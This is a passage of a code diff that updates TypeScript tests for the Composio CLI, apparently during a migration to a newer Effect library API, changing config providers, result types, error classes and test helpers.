17 );
18
@@ -16,32 +20,32 @@ describe('setMinimumLogLevel', () => {
20 it.effect('[When] neither the flag nor COMPOSIO_LOG_LEVEL is set, it defaults to Info', () =>
21 Effect.gen(function* () {
22 const level = yield* resolveMinimumLogLevel(Option.none()).pipe(withEnv([]));
19 - assertEquals(level, LogLevel.Info);
23 + assertEquals(level, 'Info');
24 })
25 );
26
27 it.effect('[When] only COMPOSIO_LOG_LEVEL is set, it applies', () =>
28 Effect.gen(function* () {
29 const level = yield* resolveMinimumLogLevel(Option.none()).pipe(
26 - withEnv([['COMPOSIO_LOG_LEVEL', 'error']])
30 + withEnv([['COMPOSIO_LOG_LEVEL', 'Error']])
31 );
28 - assertEquals(level, LogLevel.Error);
32 + assertEquals(level, 'Error');
33 })
34 );
35
36 it.effect('[When] only --log-level is set, it applies', () =>
37 Effect.gen(function* () {
34 - const level = yield* resolveMinimumLogLevel(Option.some(LogLevel.Debug)).pipe(withEnv([]));
35 - assertEquals(level, LogLevel.Debug);
38 + const level = yield* resolveMinimumLogLevel(Option.some('Debug')).pipe(withEnv([]));
39 + assertEquals(level, 'Debug');
40 })
41 );
42
43 it.effect('[When] both are set, --log-level wins over COMPOSIO_LOG_LEVEL', () =>
44 Effect.gen(function* () {
41 - const level = yield* resolveMinimumLogLevel(Option.some(LogLevel.Debug)).pipe(
42 - withEnv([['COMPOSIO_LOG_LEVEL', 'error']])
45 + const level = yield* resolveMinimumLogLevel(Option.some('Debug')).pipe(
46 + withEnv([['COMPOSIO_LOG_LEVEL', 'Error']])
47 );
44 - assertEquals(level, LogLevel.Debug);
48 + assertEquals(level, 'Debug');
49 })
50 );
51 });
ts/packages/cli/test/src/generation/safe-output-path.test.ts
+9 -9
@@ -1,7 +1,7 @@
1 import path from 'node:path';
2 import { describe, expect, it, assert } from '@effect/vitest';
3 import * as BunPath from '@effect/platform-bun/BunPath';
4 -import { Effect, Either } from 'effect';
4 +import { Effect, Result } from 'effect';
5 import { safeOutputPath, SafeOutputPathError } from 'src/generation/safe-output-path';
6
7 describe('safeOutputPath', () => {
@@ -20,23 +20,23 @@ describe('safeOutputPath', () => {
20 '[Given] an absolute generated filename [Then] it fails through the Effect error channel',
21 Effect.fn(function* () {
22 const result = yield* safeOutputPath('generated', path.resolve('gmail.ts')).pipe(
23 - Effect.either
23 + Effect.result
24 );
25
26 - assert(Either.isLeft(result));
27 - expect(result.left).toBeInstanceOf(SafeOutputPathError);
28 - expect(result.left.filename).toBe(path.resolve('gmail.ts'));
26 + assert(Result.isFailure(result));
27 + expect(result.failure).toBeInstanceOf(SafeOutputPathError);
28 + expect(result.failure.filename).toBe(path.resolve('gmail.ts'));
29 }, Effect.provide(BunPath.layer))
30 );
31
32 it.effect(
33 '[Given] a parent-directory generated filename [Then] it fails through the Effect error channel',
34 Effect.fn(function* () {
35 - const result = yield* safeOutputPath('generated', '../gmail.ts').pipe(Effect.either);
35 + const result = yield* safeOutputPath('generated', '../gmail.ts').pipe(Effect.result);
36
37 - assert(Either.isLeft(result));
38 - expect(result.left).toBeInstanceOf(SafeOutputPathError);
39 - expect(result.left.filename).toBe('../gmail.ts');
37 + assert(Result.isFailure(result));
38 + expect(result.failure).toBeInstanceOf(SafeOutputPathError);
39 + expect(result.failure.filename).toBe('../gmail.ts');
40 }, Effect.provide(BunPath.layer))
41 );
42 });
ts/packages/cli/test/src/models/project-keys.test.ts
+6 -6
@@ -1,5 +1,5 @@
1 import { describe, it, expect } from '@effect/vitest';
2 -import { Effect, Option, ParseResult } from 'effect';
2 +import { Effect, Option, Schema } from 'effect';
3 import { ProjectKeys, projectKeysFromJSON, projectKeysToJSON } from 'src/models/project-keys';
4
5 describe('ProjectKeys', () => {
@@ -82,7 +82,7 @@ describe('ProjectKeys', () => {
82 Effect.gen(function* () {
83 const json = JSON.stringify({ project_id: 'def' });
84 const error = yield* Effect.flip(projectKeysFromJSON(json));
85 - expect(error).toBeInstanceOf(ParseResult.ParseError);
85 + expect(error).toBeInstanceOf(Schema.SchemaError);
86 })
87 );
88
@@ -90,7 +90,7 @@ describe('ProjectKeys', () => {
90 Effect.gen(function* () {
91 const json = JSON.stringify({ org_id: 'abc' });
92 const error = yield* Effect.flip(projectKeysFromJSON(json));
93 - expect(error).toBeInstanceOf(ParseResult.ParseError);
93 + expect(error).toBeInstanceOf(Schema.SchemaError);
94 })
95 );
96
@@ -98,7 +98,7 @@ describe('ProjectKeys', () => {
98 Effect.gen(function* () {
99 const json = JSON.stringify({ org_id: 123, project_id: 'def' });
100 const error = yield* Effect.flip(projectKeysFromJSON(json));
101 - expect(error).toBeInstanceOf(ParseResult.ParseError);
101 + expect(error).toBeInstanceOf(Schema.SchemaError);
102 })
103 );
104
@@ -106,14 +106,14 @@ describe('ProjectKeys', () => {
106 Effect.gen(function* () {
107 const json = JSON.stringify({ org_id: 'abc', project_id: true });
108 const error = yield* Effect.flip(projectKeysFromJSON(json));
109 - expect(error).toBeInstanceOf(ParseResult.ParseError);
109 + expect(error).toBeInstanceOf(Schema.SchemaError);
110 })
111 );
112
113 it.effect('fails on invalid JSON', () =>
114 Effect.gen(function* () {
115 const error = yield* Effect.flip(projectKeysFromJSON('not json'));
116 - expect(error).toBeInstanceOf(ParseResult.ParseError);
116 + expect(error).toBeInstanceOf(Schema.SchemaError);
117 })
118 );
119
ts/packages/cli/test/src/scripts/release-artifacts.test.ts
+3 -3
@@ -1,4 +1,4 @@
1 -import { Either, Option } from 'effect';
1 +import { Option, Result } from 'effect';
2 import { describe, expect, it } from 'vitest';
3
4 import {
@@ -47,7 +47,7 @@ describe('releaseArtifactTargetFor', () => {
47 it.each(ARTIFACT_NAMES)('resolves %s', artifactName => {
48 const target = releaseArtifactTargetFor(artifactName);
49
50 - expect(Either.isRight(target)).toBe(true);
50 + expect(Result.isSuccess(target)).toBe(true);
51 });
52
53 it('covers every codex-acp binary target exactly once', () => {
@@ -66,7 +66,7 @@ describe('releaseArtifactTargetFor', () => {
66 artifactName => {
67 const target = releaseArtifactTargetFor(artifactName);
68
69 - const error = Option.getOrUndefined(Either.getLeft(target));
69 + const error = Option.getOrUndefined(Result.getFailure(target));
70
71 expect(error).toBeInstanceOf(UnknownReleaseArtifactError);
72 expect(error?.message).toContain('Unknown release artifact');
ts/packages/cli/test/src/services/cli-session-artifacts.test.ts
+15 -14
@@ -1,8 +1,8 @@
1 -import * as FileSystem from '@effect/platform/FileSystem';
2 -import * as Path from '@effect/platform/Path';
1 import { describe, expect, layer } from '@effect/vitest';
2 import { afterEach, beforeEach, vi } from 'vitest';
3 import { ConfigProvider, Effect, Option } from 'effect';
4 +import * as FileSystem from 'effect/FileSystem';
5 +import * as Path from 'effect/Path';
6 import * as tempy from 'tempy';
7 import {
8 appendCliSessionHistory,
@@ -15,14 +15,15 @@ import { extendConfigProvider } from 'src/services/config';
15 import { defaultNodeOs, NodeOs } from 'src/services/node-os';
16 import { TestLive } from 'test/__utils__';
17
18 -const cacheEnabledTestConfigProvider = ConfigProvider.fromMap(
19 - new Map([['COMPOSIO_DISABLE_CONNECTED_ACCOUNT_CACHE', 'false']])
20 -).pipe(
21 - ConfigProvider.orElse(() => ConfigProvider.fromEnv()),
18 +// Backed by the live `process.env` record so `vi.stubEnv` calls made inside a test are
19 +// observed by later config reads; `ConfigProvider.fromEnv()` would snapshot the environment.
20 +const environmentTestConfigProvider = ConfigProvider.fromEnvRecord(process.env).pipe(
21 extendConfigProvider
22 );
23
25 -const environmentTestConfigProvider = ConfigProvider.fromEnv().pipe(extendConfigProvider);
24 +const cacheEnabledTestConfigProvider = ConfigProvider.fromEnvRecord({
25 + COMPOSIO_DISABLE_CONNECTED_ACCOUNT_CACHE: 'false',
26 +}).pipe(ConfigProvider.orElse(ConfigProvider.fromEnvRecord(process.env)), extendConfigProvider);
27
28 describe('CLI session artifacts', () => {
29 beforeEach(() => {
@@ -35,7 +36,7 @@ describe('CLI session artifacts', () => {
36 });
37
38 layer(TestLive({ baseConfigProvider: environmentTestConfigProvider }))(it => {
38 - it.scoped('resolves artifact roots in documented precedence order', () =>
39 + it.effect('resolves artifact roots in documented precedence order', () =>
40 Effect.gen(function* () {
41 const path = yield* Path.Path;
42 const config = yield* ComposioCliUserConfig;
@@ -66,7 +67,7 @@ describe('CLI session artifacts', () => {
67 })
68 );
69
69 - it.scoped('stores a sanitized artifact with the requested extension', () =>
70 + it.effect('stores a sanitized artifact with the requested extension', () =>
71 Effect.gen(function* () {
72 const fs = yield* FileSystem.FileSystem;
73 const path = yield* Path.Path;
@@ -89,7 +90,7 @@ describe('CLI session artifacts', () => {
90 })
91 );
92
92 - it.scoped('returns undefined when the artifact directory cannot be created', () =>
93 + it.effect('returns undefined when the artifact directory cannot be created', () =>
94 Effect.gen(function* () {
95 const fs = yield* FileSystem.FileSystem;
96 const filePath = yield* fs.makeTempFileScoped();
@@ -104,7 +105,7 @@ describe('CLI session artifacts', () => {
105 })
106 );
107
107 - it.scoped('stores an adhoc artifact when no CLI session is available', () =>
108 + it.effect('stores an adhoc artifact when no CLI session is available', () =>
109 Effect.gen(function* () {
110 const path = yield* Path.Path;
111 const artifactsRoot = tempy.temporaryDirectory();
@@ -132,7 +133,7 @@ describe('CLI session artifacts', () => {
133 consumerUserId: 'consumer-user-test',
134 } as const;
135
135 - it.scoped('stores artifacts under the current CLI session without a directory override', () =>
136 + it.effect('stores artifacts under the current CLI session without a directory override', () =>
137 Effect.gen(function* () {
138 const path = yield* Path.Path;
139 const artifactsRoot = tempy.temporaryDirectory();
@@ -154,7 +155,7 @@ describe('CLI session artifacts', () => {
155 })
156 );
157
157 - it.scoped('appends multiple JSONL history entries to the same session', () =>
158 + it.effect('appends multiple JSONL history entries to the same session', () =>
159 Effect.gen(function* () {
160 const fs = yield* FileSystem.FileSystem;
161 const artifactsRoot = tempy.temporaryDirectory();
@@ -179,7 +180,7 @@ describe('CLI session artifacts', () => {
180 })
181 );
182
182 - it.scoped('keeps history writes best-effort when the artifact root is not a directory', () =>
183 + it.effect('keeps history writes best-effort when the artifact root is not a directory', () =>
184 Effect.gen(function* () {
185 const fs = yield* FileSystem.FileSystem;
186 const rootFile = yield* fs.makeTempFileScoped();
ts/packages/cli/test/src/services/cli-user-config.test.ts
+11 -8
@@ -3,7 +3,7 @@ import * as tempy from 'tempy';
3 import fs from 'node:fs';
4 import { describe, it, vi } from '@effect/vitest';
5 import { assertEquals } from '@effect/vitest/utils';
6 -import * as FileSystem from '@effect/platform/FileSystem';
6 +import * as FileSystem from 'effect/FileSystem';
7 import * as BunFileSystem from '@effect/platform-bun/BunFileSystem';
8 import * as BunPath from '@effect/platform-bun/BunPath';
9 import { ConfigProvider, Effect, Layer } from 'effect';
@@ -13,9 +13,12 @@ import { ComposioCliUserConfig, ComposioCliUserConfigLive } from 'src/services/c
13
14 describe('ComposioCliUserConfig', () => {
15 const withMapConfigProvider = (map: Map<string, string>) =>
16 - Layer.setConfigProvider(extendConfigProvider(ConfigProvider.fromMap(map)));
16 + Layer.succeed(
17 + ConfigProvider.ConfigProvider,
18 + extendConfigProvider(ConfigProvider.fromEnv({ env: Object.fromEntries(map) }))
19 + );
20
18 - it.scoped('defaults experimental features off in stable releases', () => {
21 + it.effect('defaults experimental features off in stable releases', () => {
22 const cwd = tempy.temporaryDirectory();
23 const map = new Map([['DEBUG_OVERRIDE_VERSION', '1.2.3']]) satisfies Map<string, string>;
24 const NodeOsTest = Layer.succeed(NodeOs, defaultNodeOs({ homedir: cwd }));
@@ -39,7 +42,7 @@ describe('ComposioCliUserConfig', () => {
42 }).pipe(Effect.provide(CliUserConfigTest));
43 });
44
42 - it.scoped('uses installed beta release metadata for experimental defaults', () => {
45 + it.effect('uses installed beta release metadata for experimental defaults', () => {
46 const cwd = tempy.temporaryDirectory();
47 const installDir = tempy.temporaryDirectory();
48 const fakeExecPath = path.join(installDir, 'composio');
@@ -65,7 +68,7 @@ describe('ComposioCliUserConfig', () => {
68 }).pipe(Effect.provide(CliUserConfigTest));
69 });
70
68 - it.scoped('defaults experimental features on in beta releases', () => {
71 + it.effect('defaults experimental features on in beta releases', () => {
72 const cwd = tempy.temporaryDirectory();
73 const map = new Map([['DEBUG_OVERRIDE_VERSION', '1.2.3-beta.4']]) satisfies Map<string, string>;
74 const NodeOsTest = Layer.succeed(NodeOs, defaultNodeOs({ homedir: cwd }));
@@ -85,7 +88,7 @@ describe('ComposioCliUserConfig', () => {
88 }).pipe(Effect.provide(CliUserConfigTest));
89 });
90
88 - it.scoped('respects explicit persisted cli settings from config.json', () => {
91 + it.effect('respects explicit persisted cli settings from config.json', () => {
92 const cwd = tempy.temporaryDirectory();
93 const map = new Map([['DEBUG_OVERRIDE_VERSION', '1.2.3-beta.4']]) satisfies Map<string, string>;
94 fs.mkdirSync(path.join(cwd, '.composio'), { recursive: true });
@@ -148,7 +151,7 @@ describe('ComposioCliUserConfig', () => {
151 }).pipe(Effect.provide(CliUserConfigTest));
152 });
153
151 - it.scoped('loads legacy flat developer keys and persists nested developer config', () => {
154 + it.effect('loads legacy flat developer keys and persists nested developer config', () => {
155 const cwd = tempy.temporaryDirectory();
156 const map = new Map([['DEBUG_OVERRIDE_VERSION', '1.2.3-beta.4']]) satisfies Map<string, string>;
157 fs.mkdirSync(path.join(cwd, '.composio'), { recursive: true });
@@ -199,7 +202,7 @@ describe('ComposioCliUserConfig', () => {
202 }).pipe(Effect.provide(CliUserConfigTest));
203 });
204
202 - it.scoped('replaces malformed persisted config with safe defaults', () => {
205 + it.effect('replaces malformed persisted config with safe defaults', () => {
206 const cwd = tempy.temporaryDirectory();
207 const map = new Map([['DEBUG_OVERRIDE_VERSION', '1.2.3']]) satisfies Map<string, string>;
208 fs.mkdirSync(path.join(cwd, '.composio'), { recursive: true });
ts/packages/cli/test/src/services/composio-client-singleton.test.ts
+14 -7
@@ -1,6 +1,6 @@
1 import { afterEach, beforeAll, describe, expect, it, vi } from '@effect/vitest';
2 -import * as FileSystem from '@effect/platform/FileSystem';
3 -import * as Path from '@effect/platform/Path';
2 +import * as FileSystem from 'effect/FileSystem';
3 +import * as Path from 'effect/Path';
4 import * as BunFileSystem from '@effect/platform-bun/BunFileSystem';
5 import * as BunPath from '@effect/platform-bun/BunPath';
6 import { ConfigProvider, Effect, Layer } from 'effect';
@@ -16,7 +16,10 @@ const withConfigLayer = (map: Map<string, string>, homedir: string) =>
16 BunFileSystem.layer,
17 BunPath.layer,
18 Layer.succeed(NodeOs, defaultNodeOs({ homedir })),
19 - Layer.setConfigProvider(extendConfigProvider(ConfigProvider.fromMap(map)))
19 + Layer.succeed(
20 + ConfigProvider.ConfigProvider,
21 + extendConfigProvider(ConfigProvider.fromEnv({ env: Object.fromEntries(map) }))
22 + )
23 );
24
25 const okResponse = () =>
@@ -89,7 +92,8 @@ describe('ComposioClientSingleton headers', () => {
92 ]);
93
94 return Effect.gen(function* () {
92 - const client = yield* Effect.flatMap(ComposioClientSingleton, singleton => singleton.get());
95 + const clientSingleton = yield* ComposioClientSingleton;
96 + const client = yield* clientSingleton.get();
97 yield* Effect.promise(() =>
98 client.tools
99 .list({ limit: 1, toolkit_versions: 'latest' })
@@ -136,7 +140,8 @@ describe('ComposioClientSingleton headers', () => {
140 id: 'cli_s_current',
141 expiresAt: '1970-01-01T00:01:00.000Z',
142 });
139 - const client = yield* Effect.flatMap(ComposioClientSingleton, singleton => singleton.get());
143 + const clientSingleton = yield* ComposioClientSingleton;
144 + const client = yield* clientSingleton.get();
145 yield* Effect.promise(() =>
146 client.tools
147 .list({ limit: 1, toolkit_versions: 'latest' })
@@ -169,7 +174,8 @@ describe('ComposioClientSingleton headers', () => {
174 id: 'cli_s_expired',
175 expiresAt: '1969-12-31T23:59:00.000Z',
176 });
172 - const client = yield* Effect.flatMap(ComposioClientSingleton, singleton => singleton.get());
177 + const clientSingleton = yield* ComposioClientSingleton;
178 + const client = yield* clientSingleton.get();
179 yield* Effect.promise(() =>
180 client.tools
181 .list({ limit: 1, toolkit_versions: 'latest' })
@@ -196,7 +202,8 @@ describe('ComposioClientSingleton headers', () => {
202 ]);
203
204 return Effect.gen(function* () {
199 - const client = yield* Effect.flatMap(ComposioClientSingleton, singleton => singleton.get());
205 + const clientSingleton = yield* ComposioClientSingleton;
206 + const client = yield* clientSingleton.get();
207 yield* Effect.promise(() =>
208 client.tools
209 .list({ limit: 1, toolkit_versions: 'latest' })
ts/packages/cli/test/src/services/composio-clients-cached.test.ts
+6 -5
@@ -2,7 +2,7 @@ import { describe, expect, it } from '@effect/vitest';
2 import { ConfigProvider, DateTime, Effect, Layer } from 'effect';
3 import * as tempy from 'tempy';
4 import { ComposioToolkitsRepository, HttpServerError } from 'src/services/composio-clients';
5 -import * as FileSystem from '@effect/platform/FileSystem';
5 +import * as FileSystem from 'effect/FileSystem';
6 import * as BunFileSystem from '@effect/platform-bun/BunFileSystem';
7 import {
8 CACHE_FILES,
@@ -42,8 +42,9 @@ const withCountingRepository = <A>(
42 BunFileSystem.layer
43 )
44 ),
45 - Effect.withConfigProvider(
46 - ConfigProvider.fromMap(new Map([['CACHE_DIR', cacheDir], ...config]))
45 + Effect.provideService(
46 + ConfigProvider.ConfigProvider,
47 + ConfigProvider.fromEnvRecord(Object.fromEntries([['CACHE_DIR', cacheDir], ...config]))
48 )
49 );
50 });
@@ -97,8 +98,8 @@ describe('ComposioToolkitsRepositoryCached', () => {
98 Effect.gen(function* () {
99 const repository = yield* ComposioToolkitsRepository;
100
100 - const first = yield* Effect.either(repository.getToolkits());
101 - const second = yield* Effect.either(repository.getToolkits());
101 + const first = yield* Effect.result(repository.getToolkits());
102 + const second = yield* Effect.result(repository.getToolkits());
103
104 expect(second).toEqual(first);
105 // One attempt for both callers: the caching layer must not mistake
ts/packages/cli/test/src/services/config.test.ts
+297 -415
@@ -1,9 +1,10 @@
1 import { beforeEach, describe, expect, it, vi } from '@effect/vitest';
2 -import { assertEquals } from '@effect/vitest/utils';
2 +import { deepStrictEqual } from '@effect/vitest/utils';
3
4 -import { Config, ConfigProvider, Effect, Option, Data, LogLevel } from 'effect';
4 +import { Config, ConfigProvider, Effect, Option } from 'effect';
5 import { APP_CONFIG, UNPREFIXED_CONFIG } from 'src/effects/app-config';
6 import { extendConfigProvider } from 'src/services/config';
7 +import { liveEnvConfigProvider } from '../../__utils__/live-env-config-provider';
8 import { DEBUG_OVERRIDE_CONFIG } from 'src/effects/debug-config';
9 import * as constants from 'src/constants';
10
@@ -24,31 +25,29 @@ const NORMALIZED_APP_CONFIG_DEFAULTS = {
25 describe('Config', () => {
26 describe('[When] using `ConfigProvider.fromMap`', () => {
27 const withMapConfigProvider = (map: Map<string, string>) =>
27 - Effect.withConfigProvider(extendConfigProvider(ConfigProvider.fromMap(map)));
28 + Effect.provideService(
29 + ConfigProvider.ConfigProvider,
30 + extendConfigProvider(ConfigProvider.fromEnvRecord(Object.fromEntries(map)))
31 + );
32
33 describe('APP_CONFIG', () => {
34 it.effect('[When] no map entry is set', () =>
35 Effect.gen(function* () {
36 const map = new Map([]) satisfies Map<string, string>;
37
34 - const actual = yield* withMapConfigProvider(map)(
35 - Config.all(APP_CONFIG).pipe(Effect.andThen(Data.struct))
36 - );
37 -
38 - assertEquals(
39 - actual,
40 - Data.struct({
41 - USER_API_KEY: Option.none(),
42 - ...NORMALIZED_APP_CONFIG_DEFAULTS,
43 - ENVIRONMENT: Option.none(),
44 - BASE_URL: 'https://backend.composio.dev',
45 - LOG_LEVEL: Option.none(),
46 - ORG_ID: Option.none(),
47 - PROJECT_ID: Option.none(),
48 - DISABLE_CONNECTED_ACCOUNT_CACHE: true,
49 - WEB_URL: 'https://dashboard.composio.dev/',
50 - })
51 - );
38 + const actual = yield* withMapConfigProvider(map)(Config.all(APP_CONFIG));
39 +
40 + deepStrictEqual(actual, {
41 + USER_API_KEY: Option.none(),
42 + ...NORMALIZED_APP_CONFIG_DEFAULTS,
43 + ENVIRONMENT: Option.none(),
44 + BASE_URL: 'https://backend.composio.dev',
45 + LOG_LEVEL: Option.none(),
46 + ORG_ID: Option.none(),
47 + PROJECT_ID: Option.none(),
48 + DISABLE_CONNECTED_ACCOUNT_CACHE: true,
49 + WEB_URL: 'https://dashboard.composio.dev/',
50 + });
51 })
52 );
53
@@ -61,24 +60,19 @@ describe('Config', () => {
60 ['LOG_LEVEL', 'info'],
61 ]) satisfies Map<string, string>;
62
64 - const actual = yield* withMapConfigProvider(map)(
65 - Config.all(APP_CONFIG).pipe(Effect.andThen(Data.struct))
66 - );
67 -
68 - assertEquals(
69 - actual,
70 - Data.struct({
71 - USER_API_KEY: Option.none(),
72 - ...NORMALIZED_APP_CONFIG_DEFAULTS,
73 - ENVIRONMENT: Option.none(),
74 - BASE_URL: 'https://backend.composio.dev',
75 - LOG_LEVEL: Option.none(),
76 - ORG_ID: Option.none(),
77 - PROJECT_ID: Option.none(),
78 - DISABLE_CONNECTED_ACCOUNT_CACHE: true,
79 - WEB_URL: 'https://dashboard.composio.dev/',
80 - })
81 - );
63 + const actual = yield* withMapConfigProvider(map)(Config.all(APP_CONFIG));
64 +
65 + deepStrictEqual(actual, {
66 + USER_API_KEY: Option.none(),
67 + ...NORMALIZED_APP_CONFIG_DEFAULTS,
68 + ENVIRONMENT: Option.none(),
69 + BASE_URL: 'https://backend.composio.dev',
70 + LOG_LEVEL: Option.none(),
71 + ORG_ID: Option.none(),
72 + PROJECT_ID: Option.none(),
73 + DISABLE_CONNECTED_ACCOUNT_CACHE: true,
74 + WEB_URL: 'https://dashboard.composio.dev/',
75 + });
76 })
77 );
78
@@ -91,7 +85,7 @@ describe('Config', () => {
85 ['COMPOSIO_CACHE_DIR', '~/.composio'],
86 ['COMPOSIO_SESSION_DIR', '/tmp/composio-sessions'],
87 ['COMPOSIO_BIN_DIR', '/usr/local/bin'],
94 - ['COMPOSIO_LOG_LEVEL', 'info'],
88 + ['COMPOSIO_LOG_LEVEL', 'Info'],
89 ['COMPOSIO_AGENTS_BASE_URL', 'https://agents.test.localhost'],
90 ['COMPOSIO_WEBHOOK_SECRET', 'secret'],
91 ['COMPOSIO_CLI_INVOCATION_ORIGIN', 'run'],
@@ -102,34 +96,29 @@ describe('Config', () => {
96 ['COMPOSIO_TOOL_DEBUG', '1'],
97 ]) satisfies Map<string, string>;
98
105 - const actual = yield* withMapConfigProvider(map)(
106 - Config.all(APP_CONFIG).pipe(Effect.andThen(Data.struct))
107 - );
108 -
109 - assertEquals(
110 - actual,
111 - Data.struct({
112 - USER_API_KEY: Option.some('api_key'),
113 - ENVIRONMENT: Option.none(),
114 - BASE_URL: 'https://test.localhost',
115 - WEB_URL: 'https://test.localhost',
116 - CACHE_DIR: '~/.composio',
117 - SESSION_DIR: '/tmp/composio-sessions',
118 - BIN_DIR: '/usr/local/bin',
119 - LOG_LEVEL: Option.some(LogLevel.Info),
120 - ORG_ID: Option.none(),
121 - PROJECT_ID: Option.none(),
122 - AGENTS_BASE_URL: 'https://agents.test.localhost',
123 - WEBHOOK_SECRET: 'secret',
124 - CLI_INVOCATION_ORIGIN: 'run',
125 - CLI_PARENT_RUN_ID: 'run_parent',
126 - RUN_ACP_ONLY: true,
127 - RUN_OUTPUT_DIR: '/tmp/composio-output',
128 - PERF_DEBUG: true,
129 - TOOL_DEBUG: true,
130 - DISABLE_CONNECTED_ACCOUNT_CACHE: true,
131 - })
132 - );
99 + const actual = yield* withMapConfigProvider(map)(Config.all(APP_CONFIG));
100 +
101 + deepStrictEqual(actual, {
102 + USER_API_KEY: Option.some('api_key'),
103 + ENVIRONMENT: Option.none(),
104 + BASE_URL: 'https://test.localhost',
105 + WEB_URL: 'https://test.localhost',
106 + CACHE_DIR: '~/.composio',
107 + SESSION_DIR: '/tmp/composio-sessions',
108 + BIN_DIR: '/usr/local/bin',
109 + LOG_LEVEL: Option.some('Info' as const),
110 + ORG_ID: Option.none(),
111 + PROJECT_ID: Option.none(),
112 + AGENTS_BASE_URL: 'https://agents.test.localhost',
113 + WEBHOOK_SECRET: 'secret',
114 + CLI_INVOCATION_ORIGIN: 'run',
115 + CLI_PARENT_RUN_ID: 'run_parent',
116 + RUN_ACP_ONLY: true,
117 + RUN_OUTPUT_DIR: '/tmp/composio-output',
118 + PERF_DEBUG: true,
119 + TOOL_DEBUG: true,
120 + DISABLE_CONNECTED_ACCOUNT_CACHE: true,
121 + });
122 })
123 );
124
@@ -148,18 +137,15 @@ describe('Config', () => {
137 sessionDirectory: APP_CONFIG.SESSION_DIR,
138 binDirectory: APP_CONFIG.BIN_DIR,
139 runOutputDirectory: APP_CONFIG.RUN_OUTPUT_DIR,
151 - }).pipe(Effect.andThen(Data.struct))
152 - );
153 -
154 - assertEquals(
155 - actual,
156 - Data.struct({
157 - cacheDirectory: '/tmp/composio-cache',
158 - sessionDirectory: undefined,
159 - binDirectory: '/usr/local/bin',
160 - runOutputDirectory: '/tmp/composio-output',
140 })
141 );
142 +
143 + deepStrictEqual(actual, {
144 + cacheDirectory: '/tmp/composio-cache',
145 + sessionDirectory: undefined,
146 + binDirectory: '/usr/local/bin',
147 + runOutputDirectory: '/tmp/composio-output',
148 + });
149 })
150 );
151
@@ -181,21 +167,18 @@ describe('Config', () => {
167 toolDebug: APP_CONFIG.TOOL_DEBUG,
168 acpOnly: APP_CONFIG.RUN_ACP_ONLY,
169 disableConnectedAccountCache: APP_CONFIG.DISABLE_CONNECTED_ACCOUNT_CACHE,
184 - }).pipe(Effect.andThen(Data.struct))
185 - );
186 -
187 - assertEquals(
188 - actual,
189 - Data.struct({
190 - // Blank falls back to the flag's own default, ...
191 - perfDebug: false,
192 - toolDebug: false,
193 - // ... which must hold for a default-true flag too, ...
194 - disableConnectedAccountCache: true,
195 - // ... while any other non-falsy value counts as set.
196 - acpOnly: true,
170 })
171 );
172 +
173 + deepStrictEqual(actual, {
174 + // Blank falls back to the flag's own default, ...
175 + perfDebug: false,
176 + toolDebug: false,
177 + // ... which must hold for a default-true flag too, ...
178 + disableConnectedAccountCache: true,
179 + // ... while any other non-falsy value counts as set.
180 + acpOnly: true,
181 + });
182 })
183 );
184
@@ -212,10 +195,10 @@ describe('Config', () => {
195 perfDebug: APP_CONFIG.PERF_DEBUG,
196 toolDebug: APP_CONFIG.TOOL_DEBUG,
197 acpOnly: APP_CONFIG.RUN_ACP_ONLY,
215 - }).pipe(Effect.andThen(Data.struct))
198 + })
199 );
200
218 - assertEquals(actual, Data.struct({ perfDebug: false, toolDebug: false, acpOnly: false }));
201 + deepStrictEqual(actual, { perfDebug: false, toolDebug: false, acpOnly: false });
202 })
203 );
204
@@ -225,24 +208,19 @@ describe('Config', () => {
208 ['COMPOSIO_DISABLE_CONNECTED_ACCOUNT_CACHE', 'false'],
209 ]) satisfies Map<string, string>;
210
228 - const actual = yield* withMapConfigProvider(map)(
229 - Config.all(APP_CONFIG).pipe(Effect.andThen(Data.struct))
230 - );
231 -
232 - assertEquals(
233 - actual,
234 - Data.struct({
235 - USER_API_KEY: Option.none(),
236 - ...NORMALIZED_APP_CONFIG_DEFAULTS,
237 - ENVIRONMENT: Option.none(),
238 - BASE_URL: 'https://backend.composio.dev',
239 - WEB_URL: 'https://dashboard.composio.dev/',
240 - LOG_LEVEL: Option.none(),
241 - ORG_ID: Option.none(),
242 - PROJECT_ID: Option.none(),
243 - DISABLE_CONNECTED_ACCOUNT_CACHE: false,
244 - })
245 - );
211 + const actual = yield* withMapConfigProvider(map)(Config.all(APP_CONFIG));
212 +
213 + deepStrictEqual(actual, {
214 + USER_API_KEY: Option.none(),
215 + ...NORMALIZED_APP_CONFIG_DEFAULTS,
216 + ENVIRONMENT: Option.none(),
217 + BASE_URL: 'https://backend.composio.dev',
218 + WEB_URL: 'https://dashboard.composio.dev/',
219 + LOG_LEVEL: Option.none(),
220 + ORG_ID: Option.none(),
221 + PROJECT_ID: Option.none(),
222 + DISABLE_CONNECTED_ACCOUNT_CACHE: false,
223 + });
224 })
225 );
226
@@ -253,24 +231,19 @@ describe('Config', () => {
231 string
232 >;
233
256 - const actual = yield* withMapConfigProvider(map)(
257 - Config.all(APP_CONFIG).pipe(Effect.andThen(Data.struct))
258 - );
259 -
260 - assertEquals(
261 - actual,
262 - Data.struct({
263 - USER_API_KEY: Option.none(),
264 - ...NORMALIZED_APP_CONFIG_DEFAULTS,
265 - ENVIRONMENT: Option.some('production'),
266 - BASE_URL: constants.DEFAULT_BASE_URL,
267 - WEB_URL: constants.DEFAULT_WEB_URL,
268 - LOG_LEVEL: Option.none(),
269 - ORG_ID: Option.none(),
270 - PROJECT_ID: Option.none(),
271 - DISABLE_CONNECTED_ACCOUNT_CACHE: true,
272 - })
273 - );
234 + const actual = yield* withMapConfigProvider(map)(Config.all(APP_CONFIG));
235 +
236 + deepStrictEqual(actual, {
237 + USER_API_KEY: Option.none(),
238 + ...NORMALIZED_APP_CONFIG_DEFAULTS,
239 + ENVIRONMENT: Option.some('production'),
240 + BASE_URL: constants.DEFAULT_BASE_URL,
241 + WEB_URL: constants.DEFAULT_WEB_URL,
242 + LOG_LEVEL: Option.none(),
243 + ORG_ID: Option.none(),
244 + PROJECT_ID: Option.none(),
245 + DISABLE_CONNECTED_ACCOUNT_CACHE: true,
246 + });
247 })
248 );
249
@@ -278,24 +251,19 @@ describe('Config', () => {
251 Effect.gen(function* () {
252 const map = new Map([['COMPOSIO_ENVIRONMENT', 'staging']]) satisfies Map<string, string>;
253
281 - const actual = yield* withMapConfigProvider(map)(
282 - Config.all(APP_CONFIG).pipe(Effect.andThen(Data.struct))
283 - );
284 -
285 - assertEquals(
286 - actual,
287 - Data.struct({
288 - USER_API_KEY: Option.none(),
289 - ...NORMALIZED_APP_CONFIG_DEFAULTS,
